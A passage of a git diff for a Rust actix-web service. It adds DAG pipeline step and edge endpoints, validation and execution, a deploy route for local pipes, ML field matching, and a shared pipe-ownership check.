+            .ok("DAG step fetched successfully")),
+        _ => Err(JsonResponse::<String>::not_found("DAG step not found")),
+    }
+}
+
+#[tracing::instrument(name = "Update DAG step", skip_all)]
+#[put("/{template_id}/dag/steps/{step_id}")]
+pub async fn update_step_handler(
+    user: web::ReqData<Arc<User>>,
+    path: web::Path<(uuid::Uuid, uuid::Uuid)>,
+    req: web::Json<UpdateStepRequest>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let (template_id, step_id) = path.into_inner();
+    verify_template_owner(pg_pool.get_ref(), &template_id, &user).await?;
+
+    // Verify step belongs to this template
+    let existing = db::dag::get_step(pg_pool.get_ref(), &step_id)
+        .await
+        .map_err(|err| JsonResponse::<String>::internal_server_error(err))?;
+
+    match &existing {
+        Some(s) if s.pipe_template_id == template_id => {}
+        _ => return Err(JsonResponse::<String>::not_found("DAG step not found")),
+    }
+
+    let updated = db::dag::update_step(
+        pg_pool.get_ref(),
+        &step_id,
+        req.name.as_deref(),
+        req.config.as_ref(),
+        req.step_order,
+    )
+    .await
+    .map_err(|err| JsonResponse::<String>::internal_server_error(err))?;
+
+    Ok(JsonResponse::build()
+        .set_item(Some(updated))
+        .ok("DAG step updated successfully"))
+}
+
+#[tracing::instrument(name = "Delete DAG step", skip_all)]
+#[delete("/{template_id}/dag/steps/{step_id}")]
+pub async fn delete_step_handler(
+    user: web::ReqData<Arc<User>>,
+    path: web::Path<(uuid::Uuid, uuid::Uuid)>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let (template_id, step_id) = path.into_inner();
+    verify_template_owner(pg_pool.get_ref(), &template_id, &user).await?;
+
+    // Verify step belongs to this template
+    let existing = db::dag::get_step(pg_pool.get_ref(), &step_id)
+        .await
+        .map_err(|err| JsonResponse::<String>::internal_server_error(err))?;
+
+    match &existing {
+        Some(s) if s.pipe_template_id == template_id => {}
+        _ => return Err(JsonResponse::<String>::not_found("DAG step not found")),
+    }
+
+    db::dag::delete_step(pg_pool.get_ref(), &step_id)
+        .await
+        .map_err(|err| JsonResponse::<String>::internal_server_error(err))?;
+
+    Ok(JsonResponse::<()>::build().ok("DAG step deleted successfully"))
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Edges CRUD
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[tracing::instrument(name = "Add DAG edge", skip_all)]
+#[post("/{template_id}/dag/edges")]
+pub async fn add_edge_handler(
+    user: web::ReqData<Arc<User>>,
+    path: web::Path<uuid::Uuid>,
+    req: web::Json<CreateEdgeRequest>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<HttpResponse> {
+    let template_id = path.into_inner();
+    verify_template_owner(pg_pool.get_ref(), &template_id, &user).await?;
+
+    // Verify both steps belong to this template
+    let from_step = db::dag::get_step(pg_pool.get_ref(), &req.from_step_id)
+        .await
+        .map_err(|err| JsonResponse::<String>::internal_server_error(err))?;
+    let to_step = db::dag::get_step(pg_pool.get_ref(), &req.to_step_id)
+        .await
+        .map_err(|err| JsonResponse::<String>::internal_server_error(err))?;
+
+    match (&from_step, &to_step) {
+        (Some(f), Some(t))
+            if f.pipe_template_id == template_id && t.pipe_template_id == template_id => {}
+        _ => {
+            return Err(
+                JsonResponse::<()>::build().bad_request("Both steps must belong to this template")
+            )
+        }
+    }
+
+    // Check for cycles
+    let would_cycle = db::dag::would_create_cycle(
+        pg_pool.get_ref(),
+        &template_id,
+        &req.from_step_id,
+        &req.to_step_id,
+    )
+    .await
+    .map_err(|err| JsonResponse::<String>::internal_server_error(err))?;
+
+    if would_cycle {
+        return Err(
+            JsonResponse::<()>::build().bad_request("Adding this edge would create a cycle")
+        );
+    }
+
+    let mut edge = DagEdge::new(template_id, req.from_step_id, req.to_step_id);
+    if let Some(cond) = &req.condition {
+        edge = edge.with_condition(cond.clone());
+    }
+
+    let saved = db::dag::insert_edge(pg_pool.get_ref(), &edge)
+        .await
+        .map_err(|err| JsonResponse::<String>::internal_server_error(err))?;
+
+    Ok(JsonResponse::build()
+        .set_item(Some(saved))
+        .created("DAG edge created successfully"))
+}
+
+#[tracing::instrument(name = "List DAG edges", skip_all)]
+#[get("/{template_id}/dag/edges")]
+pub async fn list_edges_handler(
+    user: web::ReqData<Arc<User>>,
+    path: web::Path<uuid::Uuid>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let template_id = path.into_inner();
+    verify_template_owner(pg_pool.get_ref(), &template_id, &user).await?;
+
+    let edges = db::dag::list_edges(pg_pool.get_ref(), &template_id)
+        .await
+        .map_err(|err| JsonResponse::<String>::internal_server_error(err))?;
+
+    Ok(JsonResponse::build()
+        .set_list(edges)
+        .ok("DAG edges listed successfully"))
+}
+
+#[tracing::instrument(name = "Delete DAG edge", skip_all)]
+#[delete("/{template_id}/dag/edges/{edge_id}")]
+pub async fn delete_edge_handler(
+    user: web::ReqData<Arc<User>>,
+    path: web::Path<(uuid::Uuid, uuid::Uuid)>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let (template_id, edge_id) = path.into_inner();
+    verify_template_owner(pg_pool.get_ref(), &template_id, &user).await?;
+
+    db::dag::delete_edge(pg_pool.get_ref(), &edge_id)
+        .await
+        .map_err(|err| JsonResponse::<String>::internal_server_error(err))?;
+
+    Ok(JsonResponse::<()>::build().ok("DAG edge deleted successfully"))
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Validate DAG
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[derive(serde::Serialize)]
+struct ValidateResponse {
+    valid: bool,
+    errors: Vec<String>,
+    step_count: usize,
+    edge_count: usize,
+}
+
+#[tracing::instrument(name = "Validate DAG", skip_all)]
+#[post("/{template_id}/dag/validate")]
+pub async fn validate_dag_handler(
+    user: web::ReqData<Arc<User>>,
+    path: web::Path<uuid::Uuid>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let template_id = path.into_inner();
+    verify_template_owner(pg_pool.get_ref(), &template_id, &user).await?;
+
+    let steps = db::dag::list_steps(pg_pool.get_ref(), &template_id)
+        .await
+        .map_err(|err| JsonResponse::<String>::internal_server_error(err))?;
+    let edges = db::dag::list_edges(pg_pool.get_ref(), &template_id)
+        .await
+        .map_err(|err| JsonResponse::<String>::internal_server_error(err))?;
+
+    let mut errors = Vec::new();
+
+    // Must have at least one step
+    if steps.is_empty() {
+        errors.push("DAG must have at least one step".to_string());
+    }
+
+    // Check for source step
+    let has_source = steps.iter().any(|s| s.step_type == "source");
+    if !has_source && !steps.is_empty() {
+        errors.push("DAG must have at least one source step".to_string());
+    }
+
+    // Check for target step
+    let has_target = steps.iter().any(|s| s.step_type == "target");
+    if !has_target && !steps.is_empty() {
+        errors.push("DAG must have at least one target step".to_string());
+    }
+
+    // Check connectivity: every non-source step should have at least one incoming edge
+    let step_ids: std::collections::HashSet<uuid::Uuid> = steps.iter().map(|s| s.id).collect();
+    let steps_with_incoming: std::collections::HashSet<uuid::Uuid> =
+        edges.iter().map(|e| e.to_step_id).collect();
+    let steps_with_outgoing: std::collections::HashSet<uuid::Uuid> =
+        edges.iter().map(|e| e.from_step_id).collect();
+
+    for step in &steps {
+        if step.step_type != "source" && !steps_with_incoming.contains(&step.id) && steps.len() > 1
+        {
+            errors.push(format!("Step '{}' has no incoming edges", step.name));
+        }
+        if step.step_type != "target" && !steps_with_outgoing.contains(&step.id) && steps.len() > 1
+        {
+            errors.push(format!("Step '{}' has no outgoing edges", step.name));
+        }
+    }
+
+    // Verify edge references are valid
+    for edge in &edges {
+        if !step_ids.contains(&edge.from_step_id) {
+            errors.push(format!(
+                "Edge references non-existent from_step {}",
+                edge.from_step_id
+            ));
+        }
+        if !step_ids.contains(&edge.to_step_id) {
+            errors.push(format!(
+                "Edge references non-existent to_step {}",
+                edge.to_step_id
+            ));
+        }
+    }
+
+    let resp = ValidateResponse {
+        valid: errors.is_empty(),
+        errors,
+        step_count: steps.len(),
+        edge_count: edges.len(),
+    };
+
+    Ok(JsonResponse::build()
+        .set_item(Some(resp))
+        .ok("DAG validation complete"))
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Execute DAG
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[derive(Debug, Deserialize)]
+pub struct ExecuteDagRequest {
+    #[serde(default = "default_input")]
+    pub input_data: JsonValue,
+}
+
+fn default_input() -> JsonValue {
+    serde_json::json!({})
+}
+
+#[tracing::instrument(name = "Execute DAG", skip_all)]
+#[post("/instances/{instance_id}/dag/execute")]
+pub async fn execute_dag_handler(
+    user: web::ReqData<Arc<User>>,
+    path: web::Path<uuid::Uuid>,
+    req: web::Json<ExecuteDagRequest>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let instance_id = path.into_inner();
+
+    // Verify instance ownership
+    let instance = db::pipe::get_instance(pg_pool.get_ref(), &instance_id)
+        .await
+        .map_err(|err| JsonResponse::<String>::internal_server_error(err))?;
+
+    let instance = match instance {
+        Some(i) => i,
+        None => return Err(JsonResponse::<String>::not_found("Pipe instance not found")),
+    };
+
+    super::verify_pipe_owner(pg_pool.get_ref(), &instance, &user.id).await?;
+
+    let template_id = instance.template_id.ok_or_else(|| {
+        JsonResponse::<String>::bad_request("Pipe instance has no template".to_string())
+    })?;
+
+    // Create a pipe_execution record for FK compliance
+    let pipe_exec = crate::models::pipe::PipeExecution::new(
+        instance_id,
+        instance.deployment_hash.clone(),
+        "dag".to_string(),
+        user.id.clone(),
+    );
+
+    let pipe_exec = db::pipe::insert_execution(pg_pool.get_ref(), &pipe_exec)
+        .await
+        .map_err(|err| JsonResponse::<String>::internal_server_error(err))?;
+
+    match dag_executor::execute_dag(
+        pg_pool.get_ref(),
+        &template_id,
+        pipe_exec.id,
+        &req.input_data,
+    )
+    .await
+    {
+        Ok(result) => Ok(JsonResponse::build()
+            .set_item(Some(result))
+            .ok("DAG executed successfully")),
+        Err(err) => Err(JsonResponse::<()>::build().bad_request(err)),
+    }
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// List Step Executions
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[tracing::instrument(name = "List DAG step executions", skip_all)]
+#[get("/{template_id}/dag/executions/{execution_id}/steps")]
+pub async fn list_step_executions_handler(
+    user: web::ReqData<Arc<User>>,
+    path: web::Path<(uuid::Uuid, uuid::Uuid)>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let (template_id, execution_id) = path.into_inner();
+    verify_template_owner(pg_pool.get_ref(), &template_id, &user).await?;
+
+    let step_executions = db::dag::list_step_executions(pg_pool.get_ref(), &execution_id)
+        .await
+        .map_err(|err| JsonResponse::<String>::internal_server_error(err))?;
+
+    Ok(JsonResponse::build()
+        .set_list(step_executions)
+        .ok("Step executions listed successfully"))
+}
diff --git a/src/routes/pipe/delete.rs b/src/routes/pipe/delete.rs
index 71efb680..7665cdd3 100644
--- a/src/routes/pipe/delete.rs
+++ b/src/routes/pipe/delete.rs
@@ -73,17 +73,7 @@ pub async fn delete_instance_handler(
 
     match &instance {
         Some(i) => {
-            let deployment =
-                db::deployment::fetch_by_deployment_hash(pg_pool.get_ref(), &i.deployment_hash)
-                    .await
-                    .map_err(|err| JsonResponse::<()>::build().internal_server_error(err))?;
-
-            match &deployment {
-                Some(d) if d.user_id.as_deref() == Some(&user.id) => {}
-                _ => {
-                    return Err(JsonResponse::not_found("Pipe instance not found"));
-                }
-            }
+            super::verify_pipe_owner(pg_pool.get_ref(), i, &user.id).await?;
         }
         None => {
             return Err(JsonResponse::not_found("Pipe instance not found"));
diff --git a/src/routes/pipe/deploy.rs b/src/routes/pipe/deploy.rs
new file mode 100644
index 00000000..47570162
--- /dev/null
+++ b/src/routes/pipe/deploy.rs
@@ -0,0 +1,103 @@
+use crate::db;
+use crate::helpers::JsonResponse;
+use crate::models::{PipeInstance, User};
+use actix_web::{post, web, Responder, Result};
+use serde::Deserialize;
+use sqlx::PgPool;
+use std::sync::Arc;
+
+use super::verify_pipe_owner;
+
+#[derive(Debug, Deserialize)]
+pub struct DeployPipeRequest {
+    pub deployment_hash: String,
+}
+
+/// Deploy (promote) a local pipe instance to a remote deployment.
+///
+/// `POST /instances/{instance_id}/deploy`
+///
+/// Clones the local pipe's configuration to a new remote instance
+/// linked to the specified deployment.
+#[tracing::instrument(name = "Deploy local pipe to remote", skip_all)]
+#[post("/instances/{instance_id}/deploy")]
+pub async fn deploy_pipe_handler(
+    user: web::ReqData<Arc<User>>,
+    path: web::Path<String>,
+    req: web::Json<DeployPipeRequest>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let instance_id = path.into_inner();
+    let deployment_hash = req.deployment_hash.trim();
+
+    if deployment_hash.is_empty() {
+        return Err(JsonResponse::<()>::build().bad_request("deployment_hash is required"));
+    }
+
+    // 1. Fetch the source (local) instance
+    let instance_uuid = uuid::Uuid::parse_str(&instance_id)
+        .map_err(|_| JsonResponse::<()>::build().bad_request("Invalid instance ID format"))?;
+
+    let source_instance = db::pipe::get_instance(pg_pool.get_ref(), &instance_uuid)
+        .await
+        .map_err(|err| {
+            tracing::error!("Failed to fetch pipe instance: {}", err);
+            JsonResponse::internal_server_error(err)
+        })?
+        .ok_or_else(|| JsonResponse::not_found("Pipe instance not found"))?;
+
+    // 2. Verify ownership
+    verify_pipe_owner(pg_pool.get_ref(), &source_instance, &user.id).await?;
+
+    // 3. Verify it's a local instance
+    if !source_instance.is_local {
+        return Err(JsonResponse::<()>::build().bad_request(
+            "Only local pipe instances can be deployed. This instance is already remote.",
+        ));
+    }
+
+    // 4. Verify target deployment exists and belongs to user
+    let deployment = db::deployment::fetch_by_deployment_hash(pg_pool.get_ref(), deployment_hash)
+        .await
+        .map_err(|err| JsonResponse::internal_server_error(err))?;
+
+    match &deployment {
+        Some(d) if d.user_id.as_deref() == Some(&user.id) => {}
+        _ => {
+            return Err(JsonResponse::not_found("Deployment not found"));
+        }
+    }
+
+    // 5. Create new remote instance cloned from local
+    let mut remote = PipeInstance::new(
+        deployment_hash.to_string(),
+        source_instance.source_container.clone(),
+        user.id.clone(),
+    );
+    remote.source_adapter = source_instance.source_adapter.clone();
+    remote.target_adapter = source_instance.target_adapter.clone();
+    remote.target_container = source_instance.target_container.clone();
+    remote.target_url = source_instance.target_url.clone();
+    remote.template_id = source_instance.template_id;
+    remote.field_mapping_override = source_instance.field_mapping_override.clone();
+    remote.config_override = source_instance.config_override.clone();
+
+    let saved = db::pipe::insert_instance(pg_pool.get_ref(), &remote)
+        .await
+        .map_err(|err| {
+            tracing::error!("Failed to deploy pipe instance: {}", err);
+            JsonResponse::internal_server_error(err)
+        })?;
+
+    tracing::info!(
+        source_id = %instance_id,
+        remote_id = %saved.id,
+        deployment_hash = %deployment_hash,
+        "Local pipe deployed to remote by user {}",
+        user.id
+    );
+
+    Ok(JsonResponse::build()
+        .set_item(Some(saved))
+        .created("Pipe deployed to remote successfully"))
+}
diff --git a/src/routes/pipe/executions.rs b/src/routes/pipe/executions.rs
index ea8f8bde..85acc100 100644
--- a/src/routes/pipe/executions.rs
+++ b/src/routes/pipe/executions.rs
@@ -7,6 +7,14 @@ use serde::Deserialize;
 use sqlx::PgPool;
 use std::sync::Arc;
 
+fn build_replay_trigger_params(original: &PipeExecution) -> serde_json::Value {
+    serde_json::json!({
+        "pipe_instance_id": original.pipe_instance_id.to_string(),
+        "input_data": original.source_data,
+        "trigger_type": "replay"
+    })
+}
+
 #[derive(Debug, Deserialize)]
 pub struct PaginationQuery {
     #[serde(default = "default_limit")]
@@ -30,7 +38,7 @@ pub async fn list_executions_handler(
 ) -> Result<impl Responder> {
     let instance_id = path.into_inner();
 
-    // Fetch instance and verify ownership via deployment
+    // Fetch instance and verify ownership
     let instance = db::pipe::get_instance(pg_pool.get_ref(), &instance_id)
         .await
         .map_err(|err| JsonResponse::internal_server_error(err))?;
@@ -40,15 +48,7 @@ pub async fn list_executions_handler(
         None => return Err(JsonResponse::not_found("Pipe instance not found")),
     };
 
-    let deployment =
-        db::deployment::fetch_by_deployment_hash(pg_pool.get_ref(), &instance.deployment_hash)
-            .await
-            .map_err(|err| JsonResponse::internal_server_error(err))?;
-
-    match &deployment {
-        Some(d) if d.user_id.as_deref() == Some(&user.id) => {}
-        _ => return Err(JsonResponse::not_found("Pipe instance not found")),
-    }
+    super::verify_pipe_owner(pg_pool.get_ref(), &instance, &user.id).await?;
 
     let limit = query.limit.clamp(1, 100);
     let offset = query.offset.max(0);
@@ -84,25 +84,14 @@ pub async fn get_execution_handler(
 
     match execution {
         Some(exec) => {
-            // Verify ownership: execution -> instance -> deployment -> user
-            let instance =
-                db::pipe::get_instance(pg_pool.get_ref(), &exec.pipe_instance_id)
-                    .await
-                    .map_err(|err| JsonResponse::internal_server_error(err))?;
+            // Verify ownership: execution -> instance -> user
+            let instance = db::pipe::get_instance(pg_pool.get_ref(), &exec.pipe_instance_id)
+                .await
+                .map_err(|err| JsonResponse::internal_server_error(err))?;
 
             match instance {
                 Some(i) => {
-                    let deployment = db::deployment::fetch_by_deployment_hash(
-                        pg_pool.get_ref(),
-                        &i.deployment_hash,
-                    )
-                    .await
-                    .map_err(|err| JsonResponse::internal_server_error(err))?;
-
-                    match &deployment {
-                        Some(d) if d.user_id.as_deref() == Some(&user.id) => {}
-                        _ => return Err(JsonResponse::not_found("Pipe execution not found")),
-                    }
+                    super::verify_pipe_owner(pg_pool.get_ref(), &i, &user.id).await?;
                 }
                 None => return Err(JsonResponse::not_found("Pipe execution not found")),
             }
@@ -139,7 +128,7 @@ pub async fn replay_execution_handler(
         None => return Err(JsonResponse::not_found("Pipe execution not found")),
     };
 
-    // Verify ownership via instance -> deployment -> user
+    // Verify ownership via instance -> user
     let instance = db::pipe::get_instance(pg_pool.get_ref(), &original.pipe_instance_id)
         .await
         .map_err(|err| JsonResponse::internal_server_error(err))?;
@@ -149,15 +138,7 @@ pub async fn replay_execution_handler(
         None => return Err(JsonResponse::not_found("Pipe instance not found")),
     };
 
-    let deployment =
-        db::deployment::fetch_by_deployment_hash(pg_pool.get_ref(), &instance.deployment_hash)
-            .await
-            .map_err(|err| JsonResponse::internal_server_error(err))?;
-
-    match &deployment {
-        Some(d) if d.user_id.as_deref() == Some(&user.id) => {}
-        _ => return Err(JsonResponse::not_found("Pipe execution not found")),
-    }
+    super::verify_pipe_owner(pg_pool.get_ref(), &instance, &user.id).await?;
 
     // Create a new execution record for the replay
     let replay_execution = PipeExecution::new(
@@ -175,37 +156,43 @@ pub async fn replay_execution_handler(
             JsonResponse::internal_server_error(err)
         })?;
 
-    // Enqueue trigger_pipe command with original source_data as input_data
-    let trigger_params = serde_json::json!({
-        "pipe_instance_id": original.pipe_instance_id.to_string(),
-        "input_data": original.source_data,
-    });
-
-    let command_id_str = format!("cmd_{}", uuid::Uuid::new_v4());
-    let command = Command::new(
-        command_id_str.clone(),
-        instance.deployment_hash.clone(),
-        "trigger_pipe".to_string(),
-        user.id.clone(),
-    )
-    .with_priority(CommandPriority::Normal)
-    .with_parameters(trigger_params);
-
-    let command_id = match db::command::insert(agent_pool.as_ref(), &command).await {
-        Ok(saved) => {
-            let _ = db::command::add_to_queue(
-                agent_pool.as_ref(),
-                &saved.command_id,
-                &saved.deployment_hash,
-                &CommandPriority::Normal,
-            )
-            .await;
-            Some(saved.command_id)
-        }
-        Err(e) => {
-            tracing::warn!("Failed to enqueue replay trigger_pipe command: {}", e);
-            None
+    // Enqueue trigger_pipe command (only for remote pipes with a deployment)
+    let command_id = if let Some(hash) = &instance.deployment_hash {
+        let trigger_params = build_replay_trigger_params(&original);
+
+        let command_id_str = format!("cmd_{}", uuid::Uuid::new_v4());
+        let command = Command::new(
+            command_id_str.clone(),
+            hash.clone(),
+            "trigger_pipe".to_string(),
+            user.id.clone(),
+        )
+        .with_priority(CommandPriority::Normal)
+        .with_parameters(trigger_params);
+
+        match db::command::insert(agent_pool.as_ref(), &command).await {
+            Ok(saved) => {
+                let _ = db::command::add_to_queue(
+                    agent_pool.as_ref(),
+                    &saved.command_id,
+                    &saved.deployment_hash,
+                    &CommandPriority::Normal,
+                )
+                .await;
+                Some(saved.command_id)
+            }
+            Err(e) => {
+                tracing::warn!("Failed to enqueue replay trigger_pipe command: {}", e);
+                None
+            }
         }
+    } else {
+        // Local pipe — no agent dispatch
+        tracing::info!(
+            "Replay for local pipe instance {}, skipping agent dispatch",
+            instance.id
+        );
+        None
     };
 
     Ok(JsonResponse::build()
@@ -217,3 +204,27 @@ pub async fn replay_execution_handler(
         })))
         .ok("Replay initiated"))
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn replay_trigger_params_mark_replay_trigger_type() {
+        let execution = PipeExecution::new(
+            uuid::Uuid::parse_str("11111111-1111-1111-1111-111111111111").unwrap(),
+            Some("dep-123".to_string()),
+            "manual".to_string(),
+            "user-1".to_string(),
+        )
+        .complete_success(
+            serde_json::json!({ "invoice_id": "inv-replay" }),
+            serde_json::json!({ "customer_id": "cust-1" }),
+            serde_json::json!({ "queued": true }),
+        );
+
+        let params = build_replay_trigger_params(&execution);
+        assert_eq!(params["trigger_type"], "replay");
+        assert_eq!(params["input_data"]["invoice_id"], "inv-replay");
+    }
+}
diff --git a/src/routes/pipe/field_match.rs b/src/routes/pipe/field_match.rs
new file mode 100644
index 00000000..f12fce2d
--- /dev/null
+++ b/src/routes/pipe/field_match.rs
@@ -0,0 +1,73 @@
+use crate::cli::field_matcher::FieldMatcher;
+use crate::cli::ml_field_matcher::MlFieldMatcher;
+use crate::helpers::JsonResponse;
+use crate::models::User;
+use actix_web::{post, web, Responder, Result};
+use serde::Deserialize;
+use std::sync::Arc;
+
+#[derive(Deserialize)]
+pub struct FieldMatchRequest {
+    pub source_fields: Vec<String>,
+    pub target_fields: Vec<String>,
+    pub threshold: Option<f32>,
+}
+
+#[tracing::instrument(name = "Match fields using ML matcher", skip_all)]
+#[post("/field-match")]
+pub async fn field_match_handler(
+    _user: web::ReqData<Arc<User>>,
+    body: web::Json<FieldMatchRequest>,
+) -> Result<impl Responder> {
+    let matcher = match body.threshold {
+        Some(t) => MlFieldMatcher::with_threshold(t),
+        None => MlFieldMatcher::new(),
+    };
+
+    let result = matcher.match_fields(&body.source_fields, &body.target_fields, None);
+
+    // Compute unmatched fields from the mapping
+    let mapped_sources: Vec<String> = result
+        .mapping
+        .as_object()
+        .map(|m| {
+            m.values()
+                .filter_map(|v| v.as_str().map(|s| s.trim_start_matches("$.").to_string()))
+                .collect()
+        })
+        .unwrap_or_default();
+
+    let mapped_targets: Vec<&str> = result
+        .mapping
+        .as_object()
+        .map(|m| m.keys().map(|k| k.as_str()).collect())
+        .unwrap_or_default();
+
+    let unmatched_source: Vec<&str> = body
+        .source_fields
+        .iter()
+        .filter(|s| !s.is_empty() && !mapped_sources.contains(&s.to_string()))
+        .map(|s| s.as_str())
+        .collect();
+
+    let unmatched_target: Vec<&str> = body
+        .target_fields
+        .iter()
+        .filter(|t| !t.is_empty() && !mapped_targets.contains(&t.as_str()))
+        .map(|t| t.as_str())
+        .collect();
+
+    Ok(JsonResponse::build()
+        .set_item(Some(serde_json::json!({
+            "mapping": result.mapping,
+            "confidence": result.confidence,
+            "suggestions": result.suggestions.iter().map(|s| serde_json::json!({
+                "target_field": s.target_field,
+                "expression": s.expression,
+                "description": s.description,
+            })).collect::<Vec<_>>(),
+            "unmatched_source": unmatched_source,
+            "unmatched_target": unmatched_target,
+        })))
+        .ok("Field matching completed"))
+}
diff --git a/src/routes/pipe/get.rs b/src/routes/pipe/get.rs
index 6b6eb3e1..54627d53 100644
--- a/src/routes/pipe/get.rs
+++ b/src/routes/pipe/get.rs
@@ -53,18 +53,7 @@ pub async fn get_instance_handler(
 
     match instance {
         Some(i) => {
-            // Verify the deployment belongs to the requesting user
-            let deployment =
-                db::deployment::fetch_by_deployment_hash(pg_pool.get_ref(), &i.deployment_hash)
-                    .await
-                    .map_err(|err| JsonResponse::internal_server_error(err))?;
-
-            match &deployment {
-                Some(d) if d.user_id.as_deref() == Some(&user.id) => {}
-                _ => {
-                    return Err(JsonResponse::not_found("Pipe instance not found"));
-                }
-            }
+            super::verify_pipe_owner(pg_pool.get_ref(), &i, &user.id).await?;
 
             Ok(JsonResponse::build()
                 .set_item(Some(i))
diff --git a/src/routes/pipe/list.rs b/src/routes/pipe/list.rs
index e0b4f971..50155de9 100644
--- a/src/routes/pipe/list.rs
+++ b/src/routes/pipe/list.rs
@@ -50,10 +50,9 @@ pub async fn list_instances_handler(
     let deployment_hash = path.into_inner();
 
     // Verify deployment belongs to the requesting user
-    let deployment =
-        db::deployment::fetch_by_deployment_hash(pg_pool.get_ref(), &deployment_hash)
-            .await
-            .map_err(|err| JsonResponse::internal_server_error(err))?;
+    let deployment = db::deployment::fetch_by_deployment_hash(pg_pool.get_ref(), &deployment_hash)
+        .await
+        .map_err(|err| JsonResponse::internal_server_error(err))?;
 
     match &deployment {
         Some(d) if d.user_id.as_deref() == Some(&user.id) => {}
@@ -73,3 +72,21 @@ pub async fn list_instances_handler(
         .set_list(instances)
         .ok("Pipe instances fetched successfully"))
 }
+
+#[tracing::instrument(name = "List local pipe instances", skip_all)]
+#[get("/instances/local")]
+pub async fn list_local_instances_handler(
+    user: web::ReqData<Arc<User>>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let instances = db::pipe::list_local_instances_by_user(pg_pool.get_ref(), &user.id)
+        .await
+        .map_err(|err| {
+            tracing::error!("Failed to list local pipe instances: {}", err);
+            JsonResponse::internal_server_error(err)
+        })?;
+
+    Ok(JsonResponse::build()
+        .set_list(instances)
+        .ok("Local pipe instances fetched successfully"))
+}
diff --git a/src/routes/pipe/mod.rs b/src/routes/pipe/mod.rs
index 27325c2a..136861d9 100644
--- a/src/routes/pipe/mod.rs
+++ b/src/routes/pipe/mod.rs
@@ -1,13 +1,53 @@
 mod create;
+pub mod dag;
 mod delete;
+mod deploy;
 mod executions;
+mod field_match;
 mod get;
 mod list;
+pub mod resilience;
+pub mod stream;
 mod update;
 
 pub use create::*;
 pub use delete::*;
+pub use deploy::*;
 pub use executions::*;
+pub use field_match::*;
 pub use get::*;
 pub use list::*;
 pub use update::*;
+
+use crate::db;
+use crate::helpers::JsonResponse;
+use crate::models::PipeInstance;
+use sqlx::PgPool;
+
+/// Verify that the requesting user owns the pipe instance.
+/// For remote pipes (deployment_hash is Some): checks deployment ownership.
+/// For local pipes (deployment_hash is None): checks created_by field.
+pub(crate) async fn verify_pipe_owner(
+    pool: &PgPool,
+    instance: &PipeInstance,
+    user_id: &str,
+) -> Result<(), actix_web::Error> {
+    match &instance.deployment_hash {
+        Some(hash) => {
+            let deployment = db::deployment::fetch_by_deployment_hash(pool, hash)
+                .await
+                .map_err(|err| JsonResponse::<String>::internal_server_error(err))?;
+            match &deployment {
+                Some(d) if d.user_id.as_deref() == Some(user_id) => Ok(()),
+                _ => Err(JsonResponse::<String>::not_found("Pipe instance not found")),
+            }
+        }
+        None => {
+            if instance.created_by == user_id {
+                Ok(())
+            } else {
+                Err(JsonResponse::<String>::not_found("Pipe instance not found"))
+            }
+        }
+    }
+}
diff --git a/src/routes/pipe/resilience.rs b/src/routes/pipe/resilience.rs
new file mode 100644
index 00000000..1410ebba
--- /dev/null
+++ b/src/routes/pipe/resilience.rs
@@ -0,0 +1,339 @@
+use std::sync::Arc;
+
+use actix_web::{delete, get, post, put, web, Responder, Result};
+use serde::Deserialize;
+use sqlx::PgPool;
+
+use crate::db;
+use crate::helpers::JsonResponse;
+use crate::models::resilience::DeadLetterEntry;
+use crate::models::User;
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Ownership helper
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+async fn verify_instance_owner(
+    pool: &PgPool,
+    instance_id: &uuid::Uuid,
+    user_id: &str,
+) -> Result<(), actix_web::Error> {
+    let instance = db::pipe::get_instance(pool, instance_id)
+        .await
+        .map_err(|err| JsonResponse::<String>::internal_server_error(err))?;
+
+    let instance = match instance {
+        Some(i) => i,
+        None => return Err(JsonResponse::<String>::not_found("Pipe instance not found")),
+    };
+
+    super::verify_pipe_owner(pool, &instance, user_id).await
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// DLQ Routes
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[derive(Debug, Deserialize)]
+pub struct CreateDlqRequest {
+    pub pipe_execution_id: Option<uuid::Uuid>,
+    pub dag_step_id: Option<uuid::Uuid>,
+    pub payload: Option<serde_json::Value>,
+    pub error: Option<String>,
+    pub max_retries: Option<i32>,
+}
+
+/// List DLQ entries for a pipe instance
+#[tracing::instrument(name = "List DLQ entries", skip_all)]
+#[get("/instances/{instance_id}/dlq")]
+pub async fn list_dlq_handler(
+    user: web::ReqData<Arc<User>>,
+    path: web::Path<uuid::Uuid>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
